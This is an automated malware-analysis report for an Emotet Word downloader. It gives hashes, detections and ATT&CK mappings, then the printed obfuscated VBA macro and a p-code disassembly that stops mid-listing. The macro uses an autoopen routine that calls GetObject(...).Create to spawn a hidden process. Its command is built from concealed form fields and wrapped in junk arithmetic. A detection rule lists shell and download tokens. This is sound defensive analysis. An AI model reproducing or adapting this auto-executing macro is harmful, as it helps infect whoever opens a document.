Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 8914f9ddfa036cee…

MALICIOUS

Office (OLE)

156.6 KB Created: 2019-04-02 20:13:00 Authoring application: Microsoft Office Word First seen: 2021-08-25
MD5: 2d98f41b305ba6d2dd02ec7b3152cae7 SHA-1: d1c6370a221998459f1f981233621557d52a42a1 SHA-256: 8914f9ddfa036cee2af300d03c8e2a1317cd3dc3e1b78773559a58a7f8b20140
190 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The file is identified as malicious by ClamAV with the signature 'Doc.Downloader.Emotet-6922523-0', indicating it's likely an Emotet downloader. High-severity heuristics indicate the presence of VBA macros with auto-execution and GetObject calls, suggesting an attempt to run arbitrary code. The embedded VBA macro, while heavily obfuscated, is the primary mechanism for execution, likely leading to the download of a secondary payload.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-6922523-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6922523-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Set XUBX1AA = GetObject(JUU4BD4.nU___AcA.Text + QDxZADG.kBUAUD + JUU4BD4.nU___AcA.ControlSource)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 29746 bytes
SHA-256: acb5ac74d3adf99404a5471ed4a9567284abf56862ee62fc77865eb12dbea02c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "cwAQDC"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "JUU4BD4"
Attribute VB_Base = "0{B0BFD949-A48C-42AC-A9C8-D52A9E71E333}{06FF5B39-9B86-4408-BD10-D0D85A21A352}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "QDxZADG"
Attribute VB_Base = "0{49F74A11-29B2-4D2C-9967-DC100CD7C067}{25248A52-F098-4A66-8DE4-1EDDB65AB89D}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "UZxoUBDx"
Function IQDQQGQ()
   If 808797444 = 6041050 Then
jUcXkUUQ = VoQXAX + Int(513542896 * Asc(GUBkkQQ) + C4BU4Ck _
/ 344062825) + KAcQkAAk / CLng(T1QX4A) - (fBA4CcAc - MAABDAUA / 160852874 - Tan _
(iUGwUAAA) + (qoAAxA / CSng(AQkBco) + _
488992866 / Sgn(8140607) * (AAAAADAA + CVar(756730878))))
End If
   If 358731460 = 42649850 Then
GB4BGAD_ = kDAAQAAA + Int(606679972 * Asc(UAQXADBD) + S4oQQcAX _
/ 598851850) + oADDQGAc / CLng(WAXAwA) - (iZkGQD - KQDABx1A / 626993004 - Tan _
(FBAxDAA) + (jAQAAACc / CSng(scBA_A) + _
896716161 / Sgn(1338087) * (hAkAUBA + CVar(243735626))))
End If
End Function
Function AAwAAAUA()
   If 589542479 = 651965612 Then
E_BUAcZc = tcXUA1Uk + Int(40407747 * Asc(iAQAUk) + rAA1UA _
/ 60274263) + LA1GcUBQ / CLng(bxA_4c) - (lAAAoDA - MGAA1UBo / 594475308 - Tan _
(ixcAAAA) + (OA1AAABC / CSng(wAAAAoA) + _
737626763 / Sgn(241649111) * (ixBAAUD + CVar(630183959))))
End If
   If 852182506 = 519097259 Then
fAXADX = LAQQGU + Int(777297770 * Asc(jA1U4Ac) + dAcAAZ _
/ 658893801) + sACBAAAc / CLng(D44G1w) - (FGxxwQw4 - VQAkA_ / 921326747 - Tan _
(Cwkc4QB) + (wkG4ZAB / CSng(sUUDABkB) + _
577093375 / Sgn(79049772) * (HQZAXGc + CVar(708650826))))
End If
End Function
Sub autoopen()
uAAAAcQU
End Sub
Function uAAAAcQU()
On Error Resume Next
   If 737692468 = 507596518 Then
CxXAAQ = QDAxAQA + Int(520035823 * Asc(MDQAZx) + lwQD4Ao _
/ 312651024) + w4c1cX / CLng(nADAAX) - (NwAoZAA - EDw_ck / 2127535 - Tan _
(i1ACkB) + (Mw1AAAA / CSng(iAAZQQ) + _
118195020 / Sgn(258331077) * (V4QZDA + CVar(914935405))))
End If
   If 403462488 = 622718349 Then
N1_ADC = no1ABB + Int(326848281 * Asc(aUADXG) + DZcAAAA _
/ 639214513) + HUQAAcA / CLng(aABGBB) - (LBADAQZ1 - F1UwAAUX / 566274556 - Tan _
(EDAxUAZ) + (GDwABAcD / CSng(BBoDwoB) + _
275156763 / Sgn(896847607) * (iAGQkw + CVar(443913988))))
End If
Set XUBX1AA = GetObject(JUU4BD4.nU___AcA.Text + QDxZADG.kBUAUD + JUU4BD4.nU___AcA.ControlSource)
   If 115419771 = 662310438 Then
QUUXUD = aUZ4DXQ + Int(74610852 * Asc(YAUUDCo) + CZXQ_Aw _
/ 596737150) + OAxAQA / CLng(ADAokwQ) - (u44AAZU - RAxBk4 / 193140158 - Tan _
(P_G4cA) + (cAXUCx1D / CSng(wDCB1QAU) + _
255413643 / Sgn(573972472) * (LGAc_A + CVar(694187756))))
End If
   If 958843693 = 948594033 Then
lAZcAwZ = TCAUCZZ + Int(961496443 * Asc(RUcoAU) + VGBoBDo _
/ 296294990) + OCc1UAA / CLng(dUABAcA) - (lQB4AADx - SUQAACG / 24555585 - Tan _
(QABoCA) + (GAAAQXBA / CSng(HAwD_AUD) + _
34985622 / Sgn(739656024) * (MCABDcC + CVar(970858816))))
End If
   If 806854856 = 9559473 Then
UXABUQ = bxA_oZGQ + Int(510375234 * Asc(jAA_oA) + towXwDU _
/ 61927301) + FDAXABw / CLng(sAAGcAAB) - (mAQAA4 - qUDXA1 / 951830192 - Tan _
(DZXAA_) + (YAXwQAQ / CSng(hABXc4AQ) + _
401816836 / Sgn(9554640) * (ZAABkADQ + CVar(916063403))))
End If
If 442825 = 442825 Then
   If 657645909 = 481595251 Then
oAkwA4AA = EAkAAZX_ + Int(264857062 * Asc(ToACw1X) + ZAAAA1U1 _
/ 880416865) + QABAxA / CLng(FZXwBD) - (U1XAAZZ - YAoAkA / 583502316 - Tan _
(NkxBAA) + (GD1UA_QA / CSng(kGkAQDxB) + _
126690384 / Sgn(68849972) * (j4CAD1DB + CVar(386189757))))
End If
   If 18463625 = 602607422 Then
PQZ_AXB = w4AkAG + Int(54604486 * Asc(zAoCAG) + AkADAUUc _
/ 75798439) + cxAAGUQ / CLng(iABAAUAU) - (XAXZAUA - LkkAUAA / 289191166 - Tan _
(LBQUDA) + (YCBAcA / CSng(fDQ_D4Q) + _
875954121 / Sgn(737941199) * (AAAUAAZ + CVar(520001770))))
End If
XUBX1AA. _
ShOwWiNdOw = JUU4BD4.iAGB4AA - JUU4BD4.iAGB4AA + JUU4BD4.iAGB4AA + JUU4BD4.iAGB4AA + JUU4BD4.iAGB4AA
   If 90778199 = 520276847 Then
wwAAUZ1 = oGAQcADU + Int(929802542 * Asc(uBUkAUA) + BAUxQA _
/ 948550537) + HCAkAc / CLng(HZoX4A) - (bUAC1co1 - zcxAU11_ / 785334150 - Tan _
(pAAABB) + (wAGcAA / CSng(rCADk4) + _
810323852 / Sgn(10521621) * (UQBoAD + CVar(863897853))))
End If
   If 515611264 = 34969277 Then
T1cAAk = DxAAUZc + Int(755581220 * Asc(hBBAA_AQ) + ZDCX11AG _
/ 299535777) + ikBAGQA / CLng(TocAUAB) - (bwAU4cA - ak4A_Akc / 728599130 - Tan _
(wGUADD) + (HABU4xQ / CSng(MZBX4Akk) + _
739705773 / Sgn(46619364) * (iUUBXG + CVar(855841982))))
End If
   If 730552605 = 446031210 Then
ZGAAABx = wAxA_cC + Int(378201941 * Asc(SACAAA) + rB4CUwwU _
/ 872979660) + PAADAU1A / CLng(PDAAXB) - (M1UDxXQ - tQZAkCQx / 528066769 - Tan _
(pABkABQ) + (bXDBXA / CSng(KU44XU) + _
435312356 / Sgn(844910436) * (JAAUA1U + CVar(729846857))))
End If
End If
   If 666034739 = 541107413 Then
JowDUZwx = wBUAAo + Int(393039025 * Asc(kUAD1_) + jQxAcUA _
/ 340710232) + AAZDU41 / CLng(zZQoUBU) - (cQCo4o - uAco44A / 343358540 - Tan _
(hAxAQADk) + (h1D4A4 / CSng(dkBAQXUx) + _
961265410 / Sgn(482715084) * (FQA4AwXZ + CVar(988184027))))
End If
   If 239606902 = 177440783 Then
TQAAZ_B = rAAkcZAA + Int(786414649 * Asc(HQAoQA) + G4UAwA _
/ 752992509) + zDCoBAC / CLng(fABA4_cQ) - (WA4Dx_UA - FUwAQAUw / 410316388 - Tan _
(TAAQ1wwx) + (kDAAUD / CSng(TX4ADQAC) + _
957157475 / Sgn(132743175) * (okQDAxcA + CVar(741956008))))
End If
Call GetObject(JUU4BD4.nU___AcA + QDxZADG.rcDAB1Qo + JUU4BD4.nU___AcA.Text).Create((JUU4BD4.nU___AcA.ControlTipText + QDxZADG.jAXBX1kA + JUU4BD4.nU___AcA.ControlSource + QDxZADG.lXAkQCB + JUU4BD4.nU___AcA + JUU4BD4.nU___AcA + QDxZADG.LxA1wAU + JUU4BD4.nU___AcA.ControlTipText + JUU4BD4.nU___AcA.ControlSource + QDxZADG.zxC1QCA + JUU4BD4.nU___AcA + QDxZADG.qDA1AA + JUU4BD4.nU___AcA.ControlSource), sAU4AQ, XUBX1AA, JUU4BD4.nU___AcA.ControlSource)
   If 191496060 = 43269184 Then
axQUD_DU = SwAAxw + Int(736697707 * Asc(WxwAGA) + WcXACAc _
/ 543392754) + m4AwAD / CLng(txABAD) - (YA1DDwAB - pDUUB1Ak / 990512302 - Tan _
(LQkAZ1A_) + (qcDAwA / CSng(bU4BZ1) + _
836386938 / Sgn(794248418) * (t1ADwk + CVar(264601564))))
End If
   If 506804324 = 676059713 Then
ADAUU4A_ = DxAGoZCA + Int(585773324 * Asc(mADoD4) + AkQABAU _
/ 183775549) + uxAoGC / CLng(jDAD4D14) - (qZDxko - c1Zo_1c / 718700239 - Tan _
(jBkAQB) + (NGZAAA / CSng(TABooQ) + _
599279338 / Sgn(37401557) * (PAoxDoU1 + CVar(967069914))))
End If
   If 622091660 = 729190237 Then
ukXQwU = TxDCUAo + Int(716607419 * Asc(UZAwAUAk) + ZCAQQAB _
/ 491217124) + c_QoDDX / CLng(EAQkQA) - (iG_xkB - X4BAAA / 379563267 - Tan _
(PAA1kDQ) + (XZCAGX / CSng(uB4AAAQA) + _
647030634 / Sgn(761909066) * (oxGAA_AD + CVar(900583675))))
End If
End Function
Function KxDZAAAA()
   If 523953939 = 966635208 Then
hBoBGcDX = bZU4kw + Int(137074959 * Asc(OAB1QQAU) + bAAAAQA _
/ 955184205) + CwD4AAAB / CLng(vocAAxAA) - (nABB4CQD - uA4BBxDc / 659026317 - Tan _
(EAAAG1GA) + (wBAwQGZc / CSng(jDAoA1A) + _
210710424 / Sgn(694690942) * (f4DGAQ + CVar(425627098))))
End If
   If 226688314 = 368549240 Then
o4Xw_BX = wwQCA4AA + Int(218024768 * Asc(wADUkZU) + sAQA_AQ _
/ 567023324) + TxA1wDAX / CLng(pAxADAcA) - (wB4BCc - XGBUAZ / 841526968 - Tan _
(ak1AAc4) + (v4DB1Z / CSng(oQAGDwA) + _
719010602 / Sgn(726074813) * (FAZ1Bc + CVar(481794273))))
End If
   If 323915528 = 201072636 Then
TUAcUA = XQABAX1 + Int(603228794 * Asc(kAAAkUA4) + GAw1ABZ _
/ 57820688) + V_BAAB / CLng(zAAk1QZ) - (Y4AGk_ - jAZQoUA / 440379901 - Tan _
(MAABQQc) + (JxQGAQA / CSng(VZ1xQDU) + _
241752970 / Sgn(437551329) * (LxGBXA + CVar(748653815))))
End If
End Function
Function focAAD()
   If 756264031 = 593459878 Then
JQGGDQA = Z1A_A4A + Int(318343846 * Asc(IZBAAAQ) + LQDAoBU _
/ 266274848) + uAUADZAA / CLng(EwookAk) - (wAAADGD - noAAxZ / 980514789 - Tan _
(iAADckAD) + (YADAxoD / CSng(EAwxDUA) + _
755444595 / Sgn(588259696) * (TAZAQ4 + CVar(723065617))))
End If
   If 916045591 = 433715315 Then
sQDAkkBA = ODkAA4o + Int(88725574 * Asc(RAc1XDD) + lZAUUZoU _
/ 583261791) + NBAwAZQ / CLng(m1ABBB) - (CAQxDcAc - mBAo14A1 / 507423922 - Tan _
(OUBG_AAG) + (qUDGBUQo / CSng(LZQAocox) + _
218147392 / Sgn(792643126) * (ZcQAwD + CVar(914929255))))
End If
End Function


' Processing file: /tmp/qstore_x3wjlaej
' ===============================================================================
' Module streams:
' Macros/VBA/cwAQDC - 1104 bytes
' Macros/VBA/JUU4BD4 - 1158 bytes
' Macros/VBA/QDxZADG - 1158 bytes
' Macros/VBA/UZxoUBDx - 12391 bytes
' Line #0:
' 	FuncDefn (Function UZxoUBDx())
' Line #1:
' 	LitDI4 0x4504 0x3035 
' 	LitDI4 0x2DDA 0x005C 
' 	Eq 
' 	IfBlock 
' Line #2:
' 	LineCont 0x000C 0E 00 00 00 21 00 00 00 2D 00 00 00
' 	Ld jUcXkUUQ 
' 	LitDI4 0x0AF0 0x1E9C 
' 	Ld VoQXAX 
' 	ArgsLd Asc 0x0001 
' 	Mul 
' 	Ld GUBkkQQ 
' 	LitDI4 0xFB69 0x1481 
' 	Div 
' 	Add 
' 	FnInt 
' 	Add 
' 	Ld C4BU4Ck 
' 	Ld KAcQkAAk 
' 	Coerce (Lng) 
' 	Div 
' 	Add 
' 	Ld T1QX4A 
' 	Ld fBA4CcAc 
' 	LitDI4 0x6B8A 0x0996 
' 	Div 
' 	Sub 
' 	Ld MAABDAUA 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	Ld iUGwUAAA 
' 	Ld qoAAxA 
' 	Coerce (Sng) 
' 	Div 
' 	LitDI4 0x7062 0x1D25 
' 	LitDI4 0x373F 0x007C 
' 	FnSgn 
' 	Div 
' 	Ld AQkBco 
' 	LitDI4 0xCBFE 0x2D1A 
' 	Coerce (Var) 
' 	Add 
' 	Paren 
' 	Mul 
' 	Add 
' 	Paren 
' 	Add 
' 	Paren 
' 	Sub 
' 	St IQDQQGQ 
' Line #3:
' 	EndIfBlock 
' Line #4:
' 	LitDI4 0xCEC4 0x1561 
' 	LitDI4 0xC8FA 0x028A 
' 	Eq 
' 	IfBlock 
' Line #5:
' 	LineCont 0x000C 0E 00 00 00 21 00 00 00 2D 00 00 00
' 	Ld GB4BGAD_ 
' 	LitDI4 0x33A4 0x2429 
' 	Ld kDAAQAAA 
' 	ArgsLd Asc 0x0001 
' 	Mul 
' 	Ld UAQXADBD 
' 	LitDI4 0xC10A 0x23B1 
' 	Div 
' 	Add 
' 	FnInt 
' 	Add 
' 	Ld S4oQQcAX 
' 	Ld oADDQGAc 
' 	Coerce (Lng) 
' 	Div 
' 	Add 
' 	Ld WAXAwA 
' 	Ld iZkGQD 
' 	LitDI4 0x276C 0x255F 
' 	Div 
' 	Sub 
' 	Ld KQDABx1A 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	Ld FBAxDAA 
' 	Ld jAQAAACc 
' 	Coerce (Sng) 
' 	Div 
' 	LitDI4 0xCD81 0x3572 
' 	LitDI4 0x6AE7 0x0014 
' 	FnSgn 
' 	Div 
' 	Ld scBA_A 
' 	LitDI4 0x1C4A 0x0E87 
' 	Coerce (Var) 
' 	Add 
' 	Paren 
' 	Mul 
' 	Add 
' 	Paren 
' 	Add 
' 	Paren 
' 	Sub 
' 	St AAAAADAA 
' Line #6:
' 	EndIfBlock 
' Line #7:
' 	EndFunc 
' Line #8:
' 	FuncDefn (Function hAkAUBA())
' Line #9:
' 	LitDI4 0xB44F 0x2323 
' 	LitDI4 0x34AC 0x26DC 
' 	Eq 
' 	IfBlock 
' Line #10:
' 	LineCont 0x000C 0E 00 00 00 21 00 00 00 2D 00 00 00
' 	Ld E_BUAcZc 
' 	LitDI4 0x92C3 0x0268 
' 	Ld tcXUA1Uk 
' 	ArgsLd Asc 0x0001 
' 	Mul 
' 	Ld iAQAUk 
' 	LitDI4 0xB657 0x0397 
' 	Div 
' 	Add 
' 	FnInt 
' 	Add 
' 	Ld rAA1UA 
' 	Ld LA1GcUBQ 
' 	Coerce (Lng) 
' 	Div 
' 	Add 
' 	Ld bxA_4c 
' 	Ld lAAAoDA 
' 	LitDI4 0xF92C 0x236E 
' 	Div 
' 	Sub 
' 	Ld MGAA1UBo 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	Ld ixcAAAA 
' 	Ld OA1AAABC 
' 	Coerce (Sng) 
' 	Div 
' 	LitDI4 0x4A8B 0x2BF7 
' 	LitDI4 0x45D7 0x0E67 
' 	FnSgn 
' 	Div 
' 	Ld wAAAAoA 
' 	LitDI4 0xD817 0x258F 
' 	Coerce (Var) 
' 	Add 
' 	Paren 
' 	Mul 
' 	Add 
' 	Paren 
' 	Add 
' 	Paren 
' 	Sub 
' 	St AAwAAAUA 
' Line #11:
' 	EndIfBlock 
' Line #12:
' 	LitDI4 0x45EA 0x32CB 
' 	LitDI4 0xCBAB 0x1EF0 
' 	Eq 
' 	IfBlock 
' Line #13:
' 	LineCont 0x000C 0E 00 00 00 21 00 00 00 2D 00 00 00
' 	Ld fAXADX 
' 	LitDI4 0x9F6A 0x2E54 
' 	Ld LAQQGU 
' 	ArgsLd Asc 0x0001 
' 	Mul 
' 	Ld jA1U4Ac 
' 	LitDI4 0xEBE9 0x2745 
' 	Div 
' 	Add 
' 	FnInt 
' 	Add 
' 	Ld dAcAAZ 
' 	Ld sACBAAAc 
' 	Coerce (Lng) 
' 	Div 
' 	Add 
' 	Ld D44G1w 
' 	Ld FGxxwQw4 
' 	LitDI4 0x549B 0x36EA 
' 	Div 
' 	Sub 
' 	Ld VQAkA_ 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	Ld Cwkc4QB 
' 	Ld wkG4ZAB 
' 	Coerce (Sng) 
' 	Div 
' 	LitDI4 0xBEFF 0x2265 
' 	LitDI4 0x342C 0x04B6 
' 	FnSgn 
' 	Div 
' 	Ld sUUDABkB 
' 	LitDI4 0x274A 0x2A3D 
' 	Coerce (Var) 
' 	Add 
' 	Paren 
' 	Mul 
' 	Add 
' 	Paren 
' 	Add 
' 	Paren 
' 	Sub 
' 	St ixBAAUD 
' Line #14:
' 	EndIfBlock 
' Line #15:
' 	EndFunc 
' Line #16:
' 	FuncDefn (Sub HQZAXGc())
' Line #17:
' 	ArgsCall autoopen 0x0000 
' Line #18:
' 	EndSub 
' Line #19:
' 	FuncDefn (Function autoopen())
' Line #20:
' 	OnError (Resume Next) 
' Line #21:
' 	LitDI4 0x4B34 0x2BF8 
' 	LitDI4 0x4EE6 0x1E41 
' 	Eq 
' 	IfBlock 
' Line #22:
' 	LineCont 0x000C 0E 00 00 00 21 00 00 00 2D 00 00 00
' 	Ld CxXAAQ 
' 	LitDI4 0x1DEF 0x1EFF 
' 	Ld QDAxAQA 
' 	ArgsLd Asc 0x0001 
' 	Mul 
' 	Ld MDQAZx 
' 	LitDI4 0xAD10 0x12A2 
' 	Div 
' 	Add 
' 	FnInt 
' 	Add 
' 	Ld lwQD4Ao 
' 	Ld w4c1cX 
' 	Coerce (Lng) 
' 	Div 
' 	Add 
' 	Ld nADAAX 
' 	Ld NwAoZAA 
' 	LitDI4 0x76AF 0x0020 
' 	Div 
' 	Sub 
' 	Ld EDw_ck 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	Ld i1ACkB 
' 	Ld Mw1AAAA 
' 	Coerce (Sng) 
' 	Div 
' 	LitDI4 0x834C 0x070B 
' 	LitDI4 0xD1C5 0x0F65 
' 	FnSgn 
' 	Div 
' 	Ld iAAZQQ 
' 	LitDI4 0xCE6D 0x3688 
' 	Coerce (Var) 
' 	Add 
' 	Paren 
' 	Mul 
' 	Add 
' 	Paren 
' 	Add 
' 	Paren 
' 	Sub 
' 	St uAAAAcQU 
' Line #23:
' 	EndIfBlock 
' Line #24:
' 	LitDI4 0x5958 0x180C 
' 	LitDI4 0xED8D 0x251D 
' 	Eq 
' 	IfBlock 
' Line #25:
' 	LineCont 0x000C 0E 00 00 00 21 00 00 00 2D 00 00 00
' 	Ld N1_ADC 
' 	LitDI4 0x4F19 0x137B 
' 	Ld no1ABB 
' 	ArgsLd Asc 0x0001 
' 	Mul 
' 	Ld aUADXG 
' 	LitDI4 0xA3B1 0x2619 
' 	Div 
' 	Add 
' 	FnInt 
' 	Add 
' 	Ld DZcAAAA 
' 	Ld HUQAAcA 
' 	Coerce (Lng) 
' 	Div 
' 	Add 
' 	Ld aABGBB 
' 	Ld LBADAQZ1 
' 	LitDI4 0xA9FC 0x21C0 
' 	Div 
' 	Sub 
' 	Ld F1UwAAUX 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	Ld EDAxUAZ 
' 	Ld GDwABAcD 
' 	Coerce (Sng) 
' 	Div 
' 	LitDI4 0x8F1B 0x1066 
' 	LitDI4 0xCEF7 0x3574 
' 	FnSgn 
' 	Div 
' 	Ld BBoDwoB 
' 	LitDI4 0x9704 0x1A75 
' 	Coerce (Var) 
' 	Add 
' 	Paren 
' 	Mul 
' 	Add 
' 	Paren 
' 	Add 
' 	Paren 
' 	Sub 
' 	St V4QZDA 
' Line #26:
' 	EndIfBlock 
' Line #27:
' 	SetStmt 
' 	Ld QDxZADG 
' 	MemLd GetObject 
' 	MemLd Text 
' 	Ld MSForms 
' 	MemLd nU___AcA 
' 	Add 
' 	Ld QDxZADG 
' 	MemLd GetObject 
' 	MemLd kBUAUD 
' 	Add 
' 	ArgsLd XUBX1AA 0x0001 
' 	Set iAGQkw 
' Line #28:
' 	LitDI4 0x2A7B 0x06E1 
' 	LitDI4 0x0E26 0x277A 
' 	Eq 
' 	IfBlock 
' Line #29:
' 	LineCont 0x000C 0E 00 00 00 21 00 00 00 2D 00 00 00
' 	Ld QUUXUD 
' 	LitDI4 0x78A4 0x0472 
' 	Ld aUZ4DXQ 
' 	ArgsLd Asc 0x0001 
' 	Mul 
' 	Ld YAUUDCo 
' 	LitDI4 0x7C7E 0x2391 
' 	Div 
' 	Add 
' 	FnInt 
' 	Add 
' 	Ld CZXQ_Aw 
' 	Ld OAxAQA 
' 	Coerce (Lng) 
' 	Div 
' 	Add 
' 	Ld ADAokwQ 
' 	Ld u44AAZU 
' 	LitDI4 0x15BE 0x0B83 
' 	Div 
' 	Sub 
' 	Ld RAxBk4 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	Ld P_G4cA 
' 	Ld cAXUCx1D 
' 	Coerce (Sng) 
' 	Div 
' 	LitDI4 0x4D8B 0x0F39 
' 	LitDI4 0x1FF8 0x2236 
' 	FnSgn 
' 	Div 
' 	Ld wDCB1QAU 
' 	LitDI4 0x76EC 0x2960 
' 	Coerce (Var) 
' 	Add 
' 	Paren 
' 	Mul 
' 	Add 
' 	Paren 
' 	Add 
' 	Paren 
' 	Sub 
' 	St ControlSource 
' Line #30:
' 	EndIfBlock 
' Line #31:
' 	LitDI4 0xCB2D 0x3926 
' 	LitDI4 0x6571 0x388A 
' 	Eq 
' 	IfBlock 
' Line #32:
' 	LineCont 0x000C 0E 00 00 00 21 00 00 00 2D 00 00 00
' 	Ld lAZcAwZ 
' 	LitDI4 0x457B 0x394F 
' 	Ld TCAUCZZ 
' 	ArgsLd Asc 0x0001 
' 	Mul 
' 	Ld RUcoAU 
' 	LitDI4 0x1A4E 0x11A9 
' 	Div 
' 	Add 
' 	FnInt 
' 	Add 
' 	Ld VGBoBDo 
' 	Ld OCc1UAA 
' 	Coerce (Lng) 
' 	Div 
' 	Add 
' 	Ld dUABAcA 
' 	Ld lQB4AADx 
' 	LitDI4 0xB041 0x0176 
' 	Div 
' 	Sub 
' 	Ld SUQAACG 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	Ld QABoCA 
' 	Ld GAAAQXBA 
' 	Coerce (Sng) 
' 	Div 
' 	LitDI4 0xD696 0x0215 
' 	LitDI4 0x4158 0x2C16 
' 	FnSgn 
' 	Div 
' 	Ld HAwD_AUD 
' 	LitDI4 0x2140 0x39DE 
' 	Coerce (Var) 
' 	Add 
' 	Paren 
' 	Mul 
' 	Add 
' 	Paren 
' 	Add 
' 	Paren 
' 	Sub 
' 	St LGAc_A 
' Line #33:
' 	EndIfBlock 
' Line #34:
' 	LitDI4 0xA0C8 0x3017 
' 	LitDI4 0xDDB1 0x0091 
' 	Eq 
' 	IfBlock 
' Line #35:
' 	LineCont 0x000C 0E 00 00 00 21 00 00 00 2D 00 00 00
' 	Ld UXABUQ 
' 	LitDI4 0xB542 0x1E6B 
' 	Ld bxA_oZGQ 
' 	ArgsLd Asc 0x0001 
' 	Mul 
' 	Ld jAA_oA 
' 	LitDI4 0xEF85 0x03B0 
' 	Div 
' 	Add 
' 	FnInt 
' 	Add 
' 	Ld towXwDU 
' 	Ld FDAXABw 
' 	Coerce (Lng) 
' 	Div 
' 	Add 
' 	Ld sAAGcAAB 
' 	Ld mAQAA4 
' 	LitDI4 0xC6B0 0x38BB 
' 	Div 
' 	Sub 
' 	Ld qUDXA1 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	Ld DZXAA_ 
' 	Ld YAXwQAQ 
' 	Coerce (Sng) 
' 	Div 
' 	LitDI4 0x3D04 0x17F3 
' 	LitDI4 0xCAD0 0x0091 
' 	FnSgn 
' 	Div 
' 	Ld hABXc4AQ 
' 	LitDI4 0x04AB 0x369A 
' 	Coerce (Var) 
' 	Add 
' 	Paren 
' 	Mul 
' 	Add 
' 	Paren 
' 	Add 
' 	Paren 
' 	Sub 
' 	St MCABDcC 
' Line #36:
' 	EndIfBlock 
' Line #37:
' 	LitDI4 0xC1C9 0x0006 
' 	LitDI4 0xC1C9 0x0006 
' 	Eq 
' 	IfBlock 
' Line #38:
' 	LitDI4 0xE155 0x2732 
' 	LitDI4 0x8F73 0x1CB4 
' 	Eq 
' 	IfBlock 
' Line #39:
' 	LineCont 0x000C 0E 00 00 00 21 00 00 00 2D 00 00 00
' 	Ld oAkwA4AA 
' 	LitDI4 0x65E6 0x0FC9 
' 	Ld EAkAAZX_ 
' 	ArgsLd Asc 0x0001 
' 	Mul 
' 	Ld ToACw1X 
' 	LitDI4 0x1861 0x347A 
' 	Div 
' 	Add 
' 	FnInt 
' 	Add 
' 	Ld ZAAAA1U1 
' 	Ld QABAxA 
' 	Coerce (Lng) 
' 	Div 
' 	Add 
' 	Ld FZXwBD 
' 	Ld U1XAAZZ 
' 	LitDI4 0x89EC 0x22C7 
' 	Div 
' 	Sub 
' 	Ld YAoAkA 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	Ld NkxBAA 
' 	Ld GD1UA_QA 
' 	Coerce (Sng) 
' 	Div 
' 	LitDI4 0x2450 0x078D 
' 	LitDI4 0x9134 0x041A 
' 	FnSgn 
' 	Div 
' 	Ld kGkAQDxB 
' 	LitDI4 0xC9BD 0x1704 
' 	Coerce (Var) 
' 	Add 
' 	Paren 
' 	Mul 
' 	Add 
' 	Paren 
' 	Add 
' 	Paren 
' 	Sub 
' 	St ZAABkADQ 
' Line #40:
' 	EndIfBlock 
' Line #41:
' 	LitDI4 0xBB89 0x0119 
' 	LitDI4 0x0F3E 0x23EB 
' 	Eq 
' 	IfBlock 
' Line #42:
' 	LineCont 0x000C 0E 00 00 00 21 00 00 00 2D 00 00 00
' 	Ld PQZ_AXB 
' 	LitDI4 0x32C6 0x0341 
' 	Ld w4AkAG 
' 	ArgsLd Asc 0x0001 
' 	Mul 
' 	Ld zAoCAG 
' 	LitDI4 0x97A7 0x0484 
' 	Div 
' 	Add 
' 	FnInt 
' 	Add 
' 	Ld AkADAUUc 
' 	Ld cxAAGUQ 
' 	Coerce (Lng) 
' 	Div 
' 	Add 
' 	Ld iABAAUAU 
' 	Ld XAXZAUA 
' 	LitDI4 0xB4FE 0x113C 
' 	Div 
' 	Sub 
' 	Ld LkkAUAA 
' 	ArgsLd Tan 0x0001 
' 	Sub 
